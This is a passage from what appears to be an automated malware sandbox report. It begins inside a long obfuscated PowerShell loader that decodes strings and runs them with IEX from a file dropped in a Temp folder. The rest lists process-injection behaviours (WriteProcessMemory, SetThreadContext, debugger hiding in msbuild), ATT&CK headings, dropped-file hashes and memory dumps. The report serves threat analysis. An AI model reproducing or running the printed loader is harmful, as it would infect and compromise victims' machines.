ToPrcInhUniMedTr0Sn4 a U'Go1KoATa7CuBVs5Do0 M5 FDSa5AuBLy4MaERu5Sk6Ar5CoFOu5Ke2Bi5Ar1El4 SBAr4UnDAe1 G0Ov7HeAEr5LiBUn5Fo8Tr5 h7Ly5Ba0 R5BrBHa7In3Pe5 TBPl4AuA A5Re6Ex5 M1Mo5SkASt1So6Wa1ArACo4 ADLa4toAIn5HjBBi5StB A5 B2So5Lo2Co5Lo7Pr5Te5Ud5 IB S0BaCLi1Un2Mi1 SE p1 kAPa4fdDSk4WiAMa5 JBPr5 ABRo5Fr2Dy5Ex2Mo5Ch7Re5Ja5 T5VeBVi0coDAm1Ps2Vi1KoESe1BeAUn7De8 B5Co1Ca4 SCUd5CrBFa4 M8 G5 C7Hy4inDle5DaBHu4 FC E5Cu0 N5KoBCo1 K2 M1ScEFo1HeA F7 M0ch5 UBOf5SfD K4DoCDi5Fy1Ma4FoEEr5ul1Li5Pr2Li5St7Ma4RaDFi5PaBAn4ViDAu5 S1Sv4UnAGl5 C6Re4DeCDi5Ud7Sn5JuATr5Ag7Co4 LB F5No3Ca4UnD D1Fu7In1Ep0Af6TrDPi5BeBPr4FlASm7Fi7Sk5Pa3Di4NeE C5 O2Lu5DoBMi5He3 U5veBEd5hu0 s4GrAOm5 RFCa4PlAKo5Al7Sh5En1Re5Un0Ud7st8 L5 S2Aa5PoFGr5 K9 E4UnDKa1Ve6Li1 DARa4trDAn4HyAMa4veBLu5DuABa5RaBLa4 HE F4AcCMa5KrFBo5 F0Be5Fo9Ga5CaBSl4TaCBa0Co9Al1Ag7Ko'Sa;Qu& U(Up`$ TsJat HeuneFllOpl RiTvkFyeDa7 S) A A`$SkGFoapirSlr LeSctUlmNeaNesFrt CeDerAr4Li;Su`$MiGGoa DrMerFieGet PmSeaCls TtMieTvrUn5De Be=En BlTBerSaoUdcFoh ViTrdIn0Fr4Bo Ud'gi4GaCAl5UsBFe4 IAGe4heBOs4UbC S5Ir0Do1ReEPr1SyACo7SkBDe5Pr0 K5FyDBe5ElBUn4SoE F5st6Sa5 MF C5Fi2Pr5fe1 I4 TBAt4HuDFl1We0Se7diDGd4JuCVu5NeB K5TrFBa4CoAAf5NoBJa6ReAap4Al7Id4InE H5FoBUp1Do6De1Pr7 C' K; G&En(Sk`$alsCot FeFee FlAblSoiFokOve D7lu) E Kh`$DoGSuaCur Pr MePat BmUdaUnsGrtfoeOlrIn5Em Fo No Sf;Tv} F`$HaDOvemalSkiRansteCaaert OiReoTinOu Cy=Ud HeTSyrLuoDjcLyhCai bdSm0Ta4Un Bu'An5Ab5Pr5MeBMi4SeCEx5Ha0Ca5VeBRu5Sy2Tn0SuDKa0DaCPr'Fl; D`$VaDMieMam ci Sn ceFlrSqaSulemiSas TeOurWaiSpn SgDeeLunPe G=Ac UTSarSeoUdc hhTjiTodNo0Rd4Sa E'Un4TrBNe4ChDBe5HmBHu4ToC S0KuDHy0 ACBa'Im; B`$InTSvrAroSkcNuhAgiUnd p0Bi3Un St=Ki AfTKarFroBocReh MiPrdMe0Ka4 M O'pr7 M9 D5 OBHa4FiA P7PoDSr5Ta1No5Sy0Re4ldDPa5 A1fl5Ma2 A5AsB A6Gl9Ta5Sy7Zi5Ma0Ca5SvATe5 U1 b4Li9Ba'as;De`$ STRarBroUncAuhNai DdPi0Pa0Un=RaTTirSkoGrc Fh Ri MdDa0We4Un Se'ti6RaDSl5 A6Da5re1Sp4br9 P6 S9py5 S7Ak5Pe0Re5BiA D5 U1Te4Be9Ap'En;fl`$InGXoa orNurDieGrtPemMaaClsImtQueprrBr6an pl=Co HeT Sr DoHac ShIniCad F0De4He sp'Sn1stAbl5Mi5Fj4TrCSt5geFSk5Ga8Mu4KoAIc4 CB o5StAPo4SuAKa4 pCDo4Kl7Ne5et5Ka4SeDSk1TrE E0St3In1DoEMa6Pe5Cr6DiD S4 S7Ar4UdDFu4TiABe5PuBAt5 R3 S1Sv0Mi6 FC B4RuBVi5Ov0Ma4PrASt5Wa7tr5Na3Ch5GeB S1La0to7Ad7 S5Ve0 M4UnAPo5SyB J4 TC H5Po1Hj4EtETa6BeD S5TaBVe4VaCCr4Le8Re5 R7Sk5 PDGl5HaBCo4trDAl1Le0 N7Ar3Af5AfF G4slCUn4beDHe5Ec6Ar5daFFl5Un2Ad6 R3 U0Ka4 O0Bo4Ud7Ca9 T5DoBTr4neA S7MaAJo5 HBWa5Mu2 P5AfBUl5La9al5RoFSt4PoAPl5SeBVe7 K8Ca5an1pa4 GCBu7Mu8Be4 UB G5Ak0Fe5LeDBe4AnA C5 G7Ap5Om1Be5Sk0Ca6FoEUl5Ki1An5Pi7Ma5uf0Me4KiAAn5SeBFa4stCIs1Or6Go1Fo6sy5Sp8 P5Dr5Me4 SEEf1ScEJa1 RAUn7ViA S5glBin5Un2Ju5El7Ti5 S0Ge5 OBAv5rhFSu4SuASc5Pi7 K5Aa1Na5 M0Ch1HsE A1SkADa4 SDFo4ioAFl5PrB S5DyB U5Dr2 C5Ba2Ch5Je7Hs5 D5 L5 GBFa0GaAMe1Ac7Te1Hy2Sa1ndEol1 N6Fr7Ex9 T7OvALo6ReASl1ReEkr7DrEAk1Un6Lu6Ru5Mo7Re7Hi5Fo0Se4 PAMe6 EEPl4SiA q4EnCPr6Ga3 D1 s2Ha1FeE T6Fa5Sc6UdBse7 M7Di5Fl0 B4CoAUn0 nDsv0 ACTu6In3Th1ic2An1 EE P6Im5Vi6StBPo7un7 S5Po0Gr4HuAAn0 ID U0HoCFc6In3Br1Sp2Na1InEBe6Se5 C6MeBun7Om7Mi5La0Ar4 HA S0 BDCi0NyCSv6Re3 s1Sa7 a1PrEtz1Fr6 B6ta5Re7At7 T5St0Cr4 DAAf6KiEas4AfASc4inCAl6An3De1Er7ch1Kr7 P1Gn7 S'Ma;On&Fo( G`$Res Tt UeLyeralWalRiiNokFleNe7Bu)St Ma`$FlGstaShrBurAteintGamFoaBasYdtNeeBvrCe6 K;Wr`$TrTAurLaoDacBahCoi ndSy0Co1In Te=mu PT IrYpo Gc PhAmiUddRa0Tr4Do s'Sp1DiAst6Ry8 K5 SFQu5 A5Ev5Sk5Ap5ChBUp5Ej2De4mi8Re5Ku1Li4SaCPe5Ac0 T5MeBOn4AcDNu1deEMi0Sa3 F1baESt6 E5Au6RaD U4Kr7Fu4OpDAd4caAKe5BeBVe5 I3 r1Vi0Re6KiC E4 NB T5Fa0Di4ReAKn5Ov7Un5De3Si5PiBVa1Gl0Fo7Mi7ma5Sa0Fo4 FAAf5ChB V4DeC F5Id1Fr4NaERe6TiDPr5ReBBl4GeCDe4Ba8Fe5Pr7Je5CaDpa5EfBSk4SmDDo1 A0re7Fi3So5GaF S4StC M4NoDGr5Bo6Dr5ViFBe5De2Ad6Or3Mo0no4Ar0 T4To7Ro9Pe5SpBDe4TeAJo7 GA R5CaB S5Nv2Re5 BBDe5 H9 T5 LFMa4 EASo5 SBTe7Re8 C5 F1La4UdC A7Co8Tu4FrBAa5 M0 S5MiDBa4NoAMi5Br7 V5 l1 A5fi0To6 LE C5 E1Im5 M7Co5Al0Ri4NoAMi5TiBHy4 PCDi1re6Co1Tr6Nu5Pl8Va5Re5Ga4 TEBa1ChEUb1SmAUn7 PAHu5StB s5Ri3le5Ly7 P5Ki0Ga5 FBCa4ReC D5SaFDi5Un2 U5 O7Ve4OvDIn5FoBDd4beC E5Un7Me5Un0Af5Un9 T5MiBFa5 L0Br1epECe1 wAWo6ReAUn4GaCFr5In1 R5BoDSt5 f6 C5Ba7er5luAKu0LoEMo0 HEVi1Kn7Ob1 T2Gi1NeEBo1Pu6St7Be9 T7DiADi6PrAMi1TyETo7ReEMe1It6Co6Sa5Fl7 E7Fo5No0Ta4LuAAb6AaE S4ThASt4LiCTr6So3St1Co2 P1InEfe6Bl5 N6KiBUn7Ou7Pu5 S0Gy4IdACh0OkD S0GoCBu6Un3 R1Ad7Go1 ZEUn1To6 B6In5pa7Se7De5Ma0Ba4PlA B6KaE S4StA r4HiCSc6Br3Do1Mo7Ki1Fu7Re1Ov7Id'Su;My&Co(Is`$BrsAltSke SeChlAflKoiBikTveFo7Ko)Pa P`$TrTSarHjo DcBihExiBadBe0 D1Ti;Te`$GeTKarSaoBocPohStiUndCh0No2Da Di=Un gTParAwo FcInh RiDod s0In4Co Pr'Li1AfAMa6seD D4St7No5Bi0 G5DeFsv4UdEHe4SpATi5ExFIn5Ri7 I1ReEKo0in3Gu1NuECa6Kr5Br6HoD T4Sh7Ob4AcDLs4NiAHy5 VBFo5ar3in1Tr0Em6 MCUn4maBLe5Ln0 H4HoA E5Du7Sk5Sa3Kj5InBQu1Ri0De7Is7Ep5om0Bu4 PASc5HuBSc4SkCUn5ga1Ca4SpETe6 FD M5 UB R4 LCTi4Kv8Re5Me7rr5 KD A5UdBFu4juDSt1Ny0Xy7Ov3Pe5 AFPa4PaCMa4 DDBr5Ok6Ko5 MFDu5 N2 G6 P3co0Lu4Kl0 D4 P7Sm9Re5AmBHa4giAPu7 SA w5InBFu5Wa2Gu5SkBst5So9No5GiFAs4SeA a5MiBUs7Ba8 M5Se1ev4PaCCe7Ag8Ma4ThBKl5Un0Ov5CyDNe4 BAOv5 D7Gr5 B1 T5Ru0So6GrEUn5Ga1 A5 H7da5Wm0 E4phA C5 aBEj4NaCbl1Aa6re1Pr6Su5 S8Sa5Un5Ir4 GEMi1KaEEd1SiA F7ReAEd5PhBWa5 C2Br5fr7 U5 S0Fr5 fBIn5MeFCa4VeAUs5Ir7 G5Va1 M5 l0Cr1ApECo1NoA T6UmAFo4UnCSt5 N1Ba5BoDFl5Al6 C5 O7 b5IsA B0BoEMi0 RDIn1Un7Fo1Ou2Kn1DiEMa1 L6Sk7As9Ba7GoA A6SoA E1TrEAc7SuEno1 F6Jo6 K5De7Hu7Ti5by0Er4NiAGi6SvE P4SlADe4 OCfo6Re3De1Sk7 K1 PE s1Bo6Co6 P5 F7 O7No5As0Kr4EkARi6SlE R4ViAUd4udC K6Re3Be1Lb7In1El7Sk1Fo7 C'Af;Tv&Sa(Sa`$ Ns RtRaeSoe ClVslAuiChkUneDr7Sa)Ch An`$arTCir BoPacBrhUdi FdDi0Cu2Ov;Ci`$OlGBlahyr BrBjePutTrmStaOds RtTue FrVo7St Un= D VaTRirFroNecBihUriOpdTr0Re4Li En'Th1GeAdi7SeBDk5Be3Ge4FoEPa5 A7Co4AkC S5Sp7Pl5On5Ad5NoBSk4UdCTi5fiB A4AcDsk1 SEEl0So3Ud1DuEsy1StA A6PlD K4 B7 S5Kl0Is5FoFSt4RoEsm4 TASi5ReFBi5dr7Ra1Ma0 T7Su7Ga5Re0Wa4 U8 A5Le1 O5 P5Te5FoBSp1Ak6Di0CrETe1Ra7Zo'Ka;Ka&Wo(An`$Ars Pt Se HeHelbrlStiBrkSte T7Un)Dy Sp`$DiGSoaLar Tr AeLytAlmGea LsSutKoeUnrDi7Re;ps`$ CGLeaKarSyrNoeThtTemChaFisHatBeeChrCr7Hy Ud=Re FaTIorDioRecRehFliGydRe0se4Te Mi'Mi1 UA T6Ta8Un5DiFSv5 U5 A5 C5 L5flBKn5Pe2Hr4Di8Hi5 C1 U4raCSt5Kl0De5 AB b4 ODLe1 I0 F7 F7Pa5Ko0no4Gr8Ad5ka1Be5su5Gl5DiBeq1Du6 F1CeABe7BrBSk5Ox3 P4EgECl5Sp7Ka4ClCRe5an7la5Ca5Fi5GaBPe4SoC B5OvBGi4FoDIn1Un2Pa1ChEBa0AnECa1Iv7Me'Di; T&En(De`$Bes TtaieIneUslMilHeiClkshefg7De)Pr Fr`$KlG haEjrForUledetMim NaFrs At IeDkrRo7Sa;Ve`$ GOSlv HeOdrSuhSuaanlKyiAknSvgTreGyrMonameoms L Sk=An Wef SkDrpEx Ha`$NosPhtSweAce TlErluniNykTreGo5ma A`$KosBrtTyeAse PlMilHvi Nk MeOd6Em; M`$TeGSma MrStrGueCatSmmBraVisAwtMieEfrFa7Ls Nu=Bi KoTSrrHoosecKahThiBadKi0su4Du Ho'Ov1LoA N6 OE S4CuCHa5ReBSt4StCPy5NaBFo5PrDLo5Si1 V4 kChe5OuAEu5SuBOp5TiAPo0HaDDr1InERe0 Q3Bu1NeEHa1ByAHy5An5Tu4 TCCe5BiF S5No8 I4BlAkl4cyB I5KoASg4 TABo4 HCLe4Ya7Hy5Ud5Fo4 RDMa1Pr0De7 L7Vi5La0Sy4In8Un5 r1Sm5Rh5Th5StBSt1 T6Pa6Te5Ko7Ag7st5Ei0Em4LiAgr6PrEsa4SkALa4 BC S6Ac3 M0 K4Fu0Dy4Sc6Sl4Af5BrBSt4HeCse5Ud1 m1Fo2Me1 KE d0SiB F0 G9Ta0Sa9Sa1Me2Mo1 PECr0heETz4Oc6Em0 ODJo0 PEpr0 UESp0MuEPa1Bi2In1 SETe0ViEBe4Bo6Re0FrAJu0JoEno1 f7An'Af;Mi&No(Gr`$Trs Ftlae Re ClMil fi SkKieFr7 A)Sa B`$StGQva Pr SrReeBetsum GaUdsCotHeeGar k7St;Da`$SaG Na QrgrrMieSutRemEna GsNatDieFirtr8An Ex= U PhTCrrSloFacAfhMyi Pd P0Re4Af Pr'No1LiASt7Bl7Ov5 U0 B5Co8Ls5Da7Po4 MCHe5vo3Mi5No7 D5In0 F5 S9fa1 REDi0Ko3Ad1ToE O1AmATo5Ne5Re4CaCIn5 NFLa5Ca8Sa4ApA F4 IBru5HaADm4BeATa4StCAp4Mi7 H5En5Ha4trDKu1 p0 E7Un7Ly5Ud0Op4Ce8Sl5Ph1 A5 U5Ca5DoBEf1Co6bl6Pi5 B7El7In5 I0Nu4OvA N6LiEPa4UbABe4kaCIn6Ca3Un0Dg4Fu0me4Vi6 M4 a5PiBRe4NaCAb5Mi1Pr1Pl2Fa1EpEop0La7In0PaE G0La8Ar0ReE M0Gr9 H0Re8Fl0BiFLo0 S8 A1Un2Te1CoEPo0BuETe4Fl6Dr0TiD R0BuEUd0PrERe0SiEAu1 S2 B1NoEhy0 PECa4 P6Gl0BiA S1Ha7Ho'Un;Se&An(En`$FosSatOceJae ClLelDaiAkk UeHa7Ec)Da I`$ PGHyaAlrTrrrueMatbimAnaFis HtSkeCorka8Ti;St`$LiPAmrSkeAmr Ee bcEko BrAndMaesedSt2Fr= K`"""Br`$PieAknWrvMu:HuT FEbaMaaPHo\UnsFrwaniDerUnlUgiNdeDesPrtMo\ AA cnswiPhlMe2No2Em2 S\ SLSlu Pm SsBrk PeCalIni Bgmu\TaO AlTaoKvvMu\ DAHedBed Lu DcFiestaSob AlHyeHo\noVLeipalSpd Hf DruneChmHamEneAldCrsSn\ HBHyeLefCooOvrTrdAmrGii RnScgElsCuu Ed KgEmiBrfRetReeanrDrnZee CsBl.HnGFluLnmCo`"""mi;Sm`$HuG Aa Rr GrBle Bt AmGeaDessmt SeDirAp9Co Ap= B ScTBhrUnoKocThhHui Kdtv0He4En Br'Un1OpABl7 T9St5GlFmo4CoCIn4opCGn5OpBSw4 VAIn5St3 G5TaFNa4 kDKa4 AAAs5GaBDe4 WCBu1SkEJa0 M3Ab1EnE M6Fo5De6AfD I4Ge7 E4PrD T4RdAUd5TrBSk5bu3St1po0St7Kl7 F7kr1Ti1 T0Un7Mi8 E5 K7Af5Me2vi5 MBSk6Sy3We0Ha4Ha0Do4Ev6ArCSh5LaBPr5raF A5LeA P7ElFFo5fo2 M5 O2Ta7 SCse4De7Sk4 FAPo5JoBDd4 HD S1 D6se1InA S6 FEMi4 TCWa5CoBBe4 SCSu5 KBTr5ScDNa5Ch1Dy4FrCUr5UrAan5EmBCh5 KAhe0PrCUn1 T7Ch'Af;Bo&An(di`$ BskatKieDaeSolUilbaiUnk ReKa7Ma)Ta Si`$ CGAnaUrrAnr Oe PtGem SaChsTit TeOmrDy9Fi;Ty`$ SFGeaporAlv DeDem Mt htFreCydFaeOp0Ra f=Ka CrT SrMioTyc UhStiStd N0Op4De In'Sc6Un5Ch6BlDHo4Ln7Ab4ReD P4NoAPe5PlBTr5Mu3Ge1Aj0 s6MiC T4enBDi5Tu0 J4KnA R5Ko7Un5Bl3 E5 uBSc1He0Sh7Ta7ha5 s0Zo4 FATa5OvB A4OvC T5Re1Pe4AsEMa6MaDop5 MBUp4ltCAk4Du8Tr5Rd7Ou5SoDRo5 HBIn4TeD P1Ge0Fo7Sh3Un5 JFWo4 FCLo4HeDDy5Yt6Ka5OxFUh5Ca2ga6Go3 E0He4 V0Lu4So7BrDRe5Re1Ta4VeECl4Ov7Sk1In6Fa1ceAFj7Mi9 B5 OFMi4inCkl4 GCFj5 BBRi4HeA P5An3Sp5VeFRe4SlDin4 BAEu5ArBDe4SuCKr1Se2In1LeEIm0HuFAm0EtEMe0 FCSe0 IAOs1No2Te1SkEAn1UnECi1ErATa6PoEGy4SuCRe5 DB D4ViCUn5 BB S5 sDSn5 t1St4 DC S5DiAna5BiBHj5 AA P0FiDGo1co2Ka1PoENe0HoB F0Se9Br0Ta9Ra1 u7In'Mi;Po&pr(Pr`$ExsgrtAce TeStlSvlLeiOpk Fe O7Ud)No Sy`$VaFSeaRerCovEfeKlmNetartAce MdBkeAr0Or;Du`$IniFosOca DlAalbao AbPla HrBunWeoDip UeUnrSti Mn LeAdaAnl P= A`$ MGPiaMirGarFieLot RmIna OsEftSaeParHu. dcWroDiuArn ot S- B5 B7 A7 S-Ou1Ba0Bu2Ar4Tr;Re`$ AF SaSorKovGyeKlmIntErtLeeAkdBleUn1 U Re=Di DeT UrScoSkcWrhTriSudRa0 B4St Pr'Ga6Sa5Bi6 BDEn4 D7Sl4KaDAx4 LATi5AmBBr5 P3Gn1Lm0 F6InCIn4 ABHj5Pi0Cz4 AAOs5Mi7ti5 E3lu5PrBSi1Vo0De7Pa7Tr5In0Wi4OuADe5 TB F4HaCSp5Or1En4skERe6DyDIn5ViBTh4ArCaa4 C8 B5Ke7An5 CDTr5PoBBr4BrDTr1Ca0fo7Ci3Vs5DuFBa4 wCNo4 TDSt5 U6Mo5EfFMo5 F2Pr6Su3 F0 F4Ud0Me4Ti7KrDSk5Sl1re4UrE T4Ka7 E1Ti6Ou1koAUn7 M9Se5 CFFo4GrCIn4SpCFi5ReB S4DaAVa5Fe3Ho5OpFMi4OvDpr4KuANo5TaBSt4 HC h1Mo2Th1AlEOv0InBSh0va9St0Au9 F1ch5In0DeFHy0 FEEn0CoCiv0 LAEm1Pr2Ve1 IE S1AsAFo7Ai7 G5gi0Ra5Se8St5Te7Tr4NoCrg5St3Hj5Ba7Fo5Fo0Gr5 O9Em1 S2De1MiEMe1PrAGe5Co7No4EmD S5AnF E5Bl2St5Am2To5 B1Hy5RoCAs5OtFSe4AaCTa5 L0 T5Di1St4siEPo5UnB F4MiCDo5Co7re5Ud0Me5UnBRa5NiFun5sm2Ud1Rd7Th'Pe;Yn&ci(Ve`$HysUntPeePee UlghlAriInkAbeCh7In) K Tu`$ TFMiaTlrFivUdePrm dt At SeScdBreKl1Im; B`$NoFEfaTerAfvKue AmKotCot UeStdMjeSu2Me Et=La KhTGerBeoUdcAchOciAfdEv0Be4Hj Di'De1 OATo7 M0be5GrBBe5OpDEk4TiCfr5Ki1Ka4OlENo5Sc1Af5Ha2Tr5 C7Bu4 JDtr5JdBSk4 ADRi4 EBVe5 A5St4EkDpe5FiBUn5My8 b5PhBSe5KaCMo5auBAs4UnCEl1ArE B0Mo3 K1InEOf6sh5 A6CaDbh4 H7Su4CuDBl4MoARo5 LB U5Fr3 N1Le0da6KoCTr4UrBOv5Bo0Si4MiANo5re7Ha5Po3Le5grBov1da0Kl7Un7 T5El0Cl4CaAFe5LaBIn4PrCCo5 K1Ca4MaEAs6AkDMa5SoBKs4ViC S4 s8Lb5Ju7Ba5KrDOa5PeBCo4 uDTo1vi0Jo7An3Sn5BuFLi4FaCSk4 GDko5 S6Xe5BuFre5Ca2 b6 S3Un0Se4Ev0Op4Bu7Mo9Sk5drBMa4AtAva7SpAMa5elBCa5Mi2Bl5SmB c5Al9Ma5 AF U4 PATi5UnBto7Bi8 E5 U1Di4EaCUd7Fu8Gn4 uBSi5St0He5DoD D4ReAUn5 A7Kf5Ra1Re5 N0 C6EdENa5Se1Ko5Di7Fo5Un0Op4EkASi5FiBHf4PrCNe1Se6 S1 P6Fo5tr8Me5An5Ry4MuELy1AlE T1ReARa7Fe8Ca5to7Ne5in0Pe4ScBFa4SmCTr5Gl2tr5Yd7No5Ac9Bi5Ja6Un5RiBSa5BaA M5OwBMe5Kr0Af1hyE s1NoASp7Za1Ti5Li3 u4Ag8wa5 pB R5Su0pr5InA K5UnBFi5Mo2ga4DuDJo5SaBFl5 B0Oo4 MDFe1Ce7 B1Hj2 S1InEHv1tr6Af7Pa9Ch7VaAFo6 iARe1AlETi7 DEWh1Ba6Pi6An5Gu7Fl7De5Da0Fy4MoA A6 REHu4RaAUn4 QCDo6 S3Sk1In2Or1OmEFr6Un5Bi7 H7Gr5 E0fo4VaASu6StEAn4 PATh4FiCAl6Va3Un1Ma2Pl1GeEFo6Du5Et7Im7 s5Re0Ek4teABr6PaELi4 aAFl4HeCta6Ov3Il1In2 D1DrECr6La5 U7Ud7Re5pa0Sk4ViATr6DyEGe4StATh4EtC P6Ne3Co1Pr2Tn1DiEOb6Ke5 B7Fo7 V5Br0 B4 FA K6BeECy4FiA B4KaC M6Vr3Tr1Ha7 S1FlE T1Un6Jo6un5Sl7Fu7Fo5Cz0Ho4KnAOu6SeEAf4EfAEv4GuCUd6Ge3Se1Re7Su1 N7Ka1 T7Sl'Si;Af&Ta(En`$GesHatSae Be HlPalDeiQukLue B7 S)Op Co`$krFskaFirMiv UeSomsttTitSte NdAdeJu2 M; A`$WeFInaCor KvTreWamPrtSetPoeTrd leSt3Te Ri=Ho InTAfrGeoTucUnhBaiUndUn0Li4Su D'Re1 DA A7Kr0Kv5PrBBi5DuDtu4InCRi5Go1Zo4AcEra5Ss1Di5Te2Un5Ka7ur4FoDir5SoBCo4PaD K4LaBNa5 B5So4 TDKu5TaBBe5Li8Pl5BrBAg5 CCgl5CoBSk4PtC B1Ar0Za7Ta7Da5Ud0Fr4Pt8 O5Pr1No5 R5Ov5PaBNr1Ac6 G1 TAPr6PoEAf4AnCSy5MeBFl4EfCRe5FoBLa5DiD R5Ma1re4MoCPh5VgAra5FoB S5AnAIn0ArDBo1Me2bo1AfARe7So7re5Su0Di5Ga8re5St7pa4 NCJo5De3Ae5Se7 S5Tu0Go5La9 A1 V2 J1ErAKo7Pr1sv4St8Ta5 IBBe4HiCHa5Co6sk5StFMo5Ho2Mo5El7Af5Ta0Wa5Re9Da5 rBpo4 ICal5Zo0Ov5BeBSp4PuDud1Ru2In0TaEHy1Be2Af0 BEGr1Ra7Ne'Mo;In&Ud(To`$PosDot AeCheMalStlIniKlk AeHa7Fi)Ac Su`$ViFinaErrFrvPre KmCitMotcoeMidseeUn3Ba# P;""";function Farvemttede8 ($isallobar,$Necropolises) {&$Fllesantennen0 (Farvemttede9 'Bd$FeiDrsMaa NlPelAno WbNuaKorBr Di- Ib Gx RoBrr P Be$OvNReeOvc IrExoOrpFeoColGaiRusPreAcsDe ');}function Farvemttede7($Seises) {return $Seises.Length;}Function Farvemttede9 ([String]$Optageren) { $Overt = Farvemttede7 $Optageren; For($isallobarida=2; $isallobarida -lt $Overt-1; $isallobarida+=(3)){ $Trochid = $Trochid + $Optageren.Substring($isallobarida, 1); } $Trochid;}$Fllesantennen0 = Farvemttede9 ' LIRaEFoXci ';$Fllesantennen1= Farvemttede9 $genfdsel;&$Fllesantennen0 $Fllesantennen1;<#Honer Sammenryste Gasterosteiform Hjnelses Landbrugerens #>;"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2612

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\swirliest\Anil222\Lumskelig\Olov\Adduceable\Vildfremmeds\Befordringsudgifternes.Gum

Filesize
389KB

MD5
aeba9cd723f9592f357fa5994f731585

SHA1
b3ff08a04825a05b8bd5264d0cea979c07c36c5c

SHA256
28590ceb9fcbd14adfa91bb969ee36530da495bbb7e07c57d500fa73b76a43ef

SHA512
da18059fa1e0e22f78ecda152a520354a7d7535a0ed2800f917cf274033b92e857dc837150ac65cbf6722db99826ff0525d81badc49eb771b4cceecf4536c54d

Download Submit
C:\Users\Admin\AppData\Local\Temp\swirliest\Anil222\Lumskelig\Olov\Adduceable\Vildfremmeds\Cordelle.Pat

Filesize
24KB

MD5
2f736ce07dc08d5c5a5340cd26a977c8

SHA1
7635658c059bc87789130feff8f569a3403b5ad0

SHA256
c50702007f2fb4fc289680479b4d7036f851c68e617b9e831b6e9b615c29884a

SHA512
67c04897c9092239efff6b6d0b3aa1d1727549552cf7dbef6b528aea19d58ad59bf0185ffdae3b76652d22f37f2e7ff0ebe2c2bb0834e9f05785afc379f88e17

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JV7DKGNBOFSPDN4J1RZR.temp

Filesize
7KB

MD5
57402c1760263995971a597c09e82bb8

SHA1
0b80b432dd7d505e63eedd2b3c9d15dbf4186265

SHA256
bcb300aea7e606bacc524d3933dc821067d4649cf8551d84962e164e7c5f2b1d

SHA512
3a6579af9e4c629a61ce0723ca0f9dfd4a9c95dd5c22dc93c47383a15ba45f889d5b1a575a17097ebc61640e244d5f6b400b7a4109d590748c41f14777e8d004

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
57402c1760263995971a597c09e82bb8

SHA1
0b80b432dd7d505e63eedd2b3c9d15dbf4186265

SHA256
bcb300aea7e606bacc524d3933dc821067d4649cf8551d84962e164e7c5f2b1d

SHA512
3a6579af9e4c629a61ce0723ca0f9dfd4a9c95dd5c22dc93c47383a15ba45f889d5b1a575a17097ebc61640e244d5f6b400b7a4109d590748c41f14777e8d004

Download Submit
memory/2480-38-0x000000006F8A0000-0x0000000070902000-memory.dmp

Filesize
16.4MB

Download
memory/2480-37-0x00000000775B0000-0x0000000077759000-memory.dmp

Filesize
1.7MB

Download
memory/2480-48-0x0000000024540000-0x0000000024580000-memory.dmp

Filesize
256KB

Download
memory/2480-47-0x000000006F1B0000-0x000000006F89E000-memory.dmp

Filesize
6.9MB

Download
memory/2480-44-0x0000000024540000-0x0000000024580000-memory.dmp

Filesize
256KB

Download
memory/2480-43-0x000000006F1B0000-0x000000006F89E000-memory.dmp

Filesize
6.9MB

Download
memory/2480-41-0x000000006F8A0000-0x000000006F8E0000-memory.dmp

Filesize
256KB

Download
memory/2480-40-0x0000000001190000-0x00000000067F9000-memory.dmp

Filesize
86.4MB

Download
memory/2480-39-0x000000006F8A0000-0x0000000070902000-memory.dmp

Filesize
16.4MB

Download
memory/2612-28-0x0000000005040000-0x0000000005041000-memory.dmp

Filesize
4KB

Download
memory/2612-29-0x0000000005D40000-0x000000000B3A9000-memory.dmp

Filesize
86.4MB

Download
memory/2612-33-0x00000000775B0000-0x0000000077759000-memory.dmp

Filesize
1.7MB

Download
memory/2612-36-0x00000000777A0000-0x0000000077876000-memory.dmp

Filesize
856KB

Download
memory/2612-32-0x0000000073FF0000-0x000000007459B000-memory.dmp

Filesize
5.7MB

Download
memory/2612-25-0x0000000073FF0000-0x000000007459B000-memory.dmp

Filesize
5.7MB

Download
memory/2612-26-0x0000000073FF0000-0x000000007459B000-memory.dmp

Filesize
5.7MB

Download
memory/2700-31-0x0000000002730000-0x0000000002770000-memory.dmp

Filesize
256KB

Download
memory/2700-42-0x0000000073FF0000-0x000000007459B000-memory.dmp

Filesize
5.7MB

Download
memory/2700-16-0x0000000073FF0000-0x000000007459B000-memory.dmp

Filesize
5.7MB

Download
memory/2700-18-0x0000000002730000-0x0000000002770000-memory.dmp

Filesize
256KB

Download
memory/2700-30-0x0000000073FF0000-0x000000007459B000-memory.dmp

Filesize
5.7MB

Download
memory/2700-15-0x0000000073FF0000-0x000000007459B000-memory.dmp

Filesize
5.7MB

Download
memory/2700-17-0x0000000002730000-0x0000000002770000-memory.dmp

Filesize
256KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads